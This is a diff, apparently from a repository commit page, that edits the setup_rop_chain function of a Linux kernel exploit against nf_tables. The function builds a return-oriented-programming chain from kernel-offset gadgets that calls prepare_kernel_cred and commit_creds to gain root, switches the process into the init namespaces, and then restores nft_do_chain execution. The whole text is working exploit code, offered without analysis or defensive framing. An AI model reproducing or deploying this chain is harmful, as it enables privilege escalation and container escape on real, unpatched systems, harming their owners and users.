@@ -219,30 +219,30 @@ void setup_rop_chain(struct payload* payload, int64_t kernel_off) {
219
219
int i = 0x20 / 8 ;
220
220
221
221
// had some issue with object boundaries. Lets get some more stack space ..
222
- rop_chain [i ++ ] = add_rsp_0x88 ; // kernel_off + ADD_RSP_0X88_RET;
222
+ rop_chain [i ++ ] = kernel_off + ADD_RSP_0X88_RET ;
223
223
i += 0x88 / 8 ;
224
- rop_chain [i ++ ] = add_rsp_0x88 ; // kernel_off + ADD_RSP_0X88_RET;
224
+ rop_chain [i ++ ] = kernel_off + ADD_RSP_0X88_RET ;
225
225
i += 0x88 / 8 ;
226
- rop_chain [i ++ ] = add_rsp_0x88 ; // kernel_off + ADD_RSP_0X88_RET;
226
+ rop_chain [i ++ ] = kernel_off + ADD_RSP_0X88_RET ;
227
227
i += 0x88 / 8 ;
228
- rop_chain [i ++ ] = add_rsp_0x88 ; // kernel_off + ADD_RSP_0X88_RET;
228
+ rop_chain [i ++ ] = kernel_off + ADD_RSP_0X88_RET ;
229
229
i += 0x88 / 8 ;
230
230
231
- rop_chain [i ++ ] = pop_rdi ; // kernel_off + POP_RDI_RET;
232
- rop_chain [i ++ ] = init_task ; // kernel_off + INIT_TASK;
233
- rop_chain [i ++ ] = prepare_kernel_cred ; // kernel_off + PREPARE_KERNEL_CRED;
231
+ rop_chain [i ++ ] = kernel_off + POP_RDI_RET ;
232
+ rop_chain [i ++ ] = kernel_off + INIT_TASK ;
233
+ rop_chain [i ++ ] = kernel_off + PREPARE_KERNEL_CRED ;
234
234
235
- rop_chain [i ++ ] = mov_rdi_rax ; // kernel_off + MOV_RDI_RAX_RET;
236
- rop_chain [i ++ ] = commit_creds ; // kernel_off + COMMIT_CREDS;
235
+ rop_chain [i ++ ] = kernel_off + MOV_RDI_RAX_RET ;
236
+ rop_chain [i ++ ] = kernel_off + COMMIT_CREDS ;
237
237
238
- rop_chain [i ++ ] = pop_rdi ; // kernel_off + POP_RDI_RET;
238
+ rop_chain [i ++ ] = kernel_off + POP_RDI_RET ;
239
239
rop_chain [i ++ ] = 1 ;
240
- rop_chain [i ++ ] = find_task_by_vpid ; // kernel_off + FIND_TASK_BY_VPID;
240
+ rop_chain [i ++ ] = kernel_off + FIND_TASK_BY_VPID ;
241
241
242
- rop_chain [i ++ ] = mov_rdi_rax ; // kernel_off + MOV_RDI_RAX_RET;
243
- rop_chain [i ++ ] = pop_rsi ; // kernel_off + POP_RSI_RET;
244
- rop_chain [i ++ ] = init_nsproxy ; // kernel_off + INIT_NSPROXY;
245
- rop_chain [i ++ ] = switch_task_namespaces ; // kernel_off + SWITCH_TASK_NAMESPACES;
242
+ rop_chain [i ++ ] = kernel_off + MOV_RDI_RAX_RET ;
243
+ rop_chain [i ++ ] = kernel_off + POP_RSI_RET ;
244
+ rop_chain [i ++ ] = kernel_off + INIT_NSPROXY ;
245
+ rop_chain [i ++ ] = kernel_off + SWITCH_TASK_NAMESPACES ;
246
246
247
247
// prepare to restore execution
248
248
// nft_do_chain:
@@ -251,25 +251,25 @@ void setup_rop_chain(struct payload* payload, int64_t kernel_off) {
251
251
// lea r12, [rsp+0x48]
252
252
// exit:
253
253
// ffffffff81e517eb: 89 d0 mov %edx,%eax
254
- rop_chain [i ++ ] = pop_rbp ; // kernel_off + POP_RBP_RET;
254
+ rop_chain [i ++ ] = kernel_off + POP_RBP_RET ;
255
255
rop_chain [i ++ ] = 0x220 - 0x48 ;
256
- rop_chain [i ++ ] = lea_rax_r12_plus_rbp_pop5 ; // kernel_off + LEA_RAX_R12_PLUS_RBP_POP5_RET;
256
+ rop_chain [i ++ ] = kernel_off + LEA_RAX_R12_PLUS_RBP_POP5_RET ;
257
257
i += 5 ;
258
258
259
259
// prepare the stack restore gadget
260
- rop_chain [i ++ ] = pop_rcx ; // kernel_off + POP_RCX_RET;
260
+ rop_chain [i ++ ] = kernel_off + POP_RCX_RET ;
261
261
rop_chain [i ++ ] = PAYLOAD_LOCATION (HELPER_CPU ) + offsetof(struct cpu_entry_area_payload , pop_rsp_jmp_rsi_0xf );
262
262
263
263
// prepare the return jmp gadget
264
- rop_chain [i ++ ] = pop_rsi ; // kernel_off + POP_RSI_RET;
264
+ rop_chain [i ++ ] = kernel_off + POP_RSI_RET ;
265
265
rop_chain [i ++ ] = PAYLOAD_LOCATION (HELPER_CPU ) + offsetof(struct cpu_entry_area_payload , nft_do_chain_leave ) - 0xf ;
266
266
267
267
// setup the return vaule
268
- rop_chain [i ++ ] = pop_rdx ; // kernel_off + POP_RDX_RET;
268
+ rop_chain [i ++ ] = kernel_off + POP_RDX_RET ;
269
269
rop_chain [i ++ ] = NF_DROP ;
270
270
271
271
// actually restore execution
272
- rop_chain [i ++ ] = push_rax_jmp_rcx ; // kernel_off + PUSH_RAX_JMP_RCX;
272
+ rop_chain [i ++ ] = kernel_off + PUSH_RAX_JMP_RCX ;
273
273
}
274
274
275
275
0 commit comments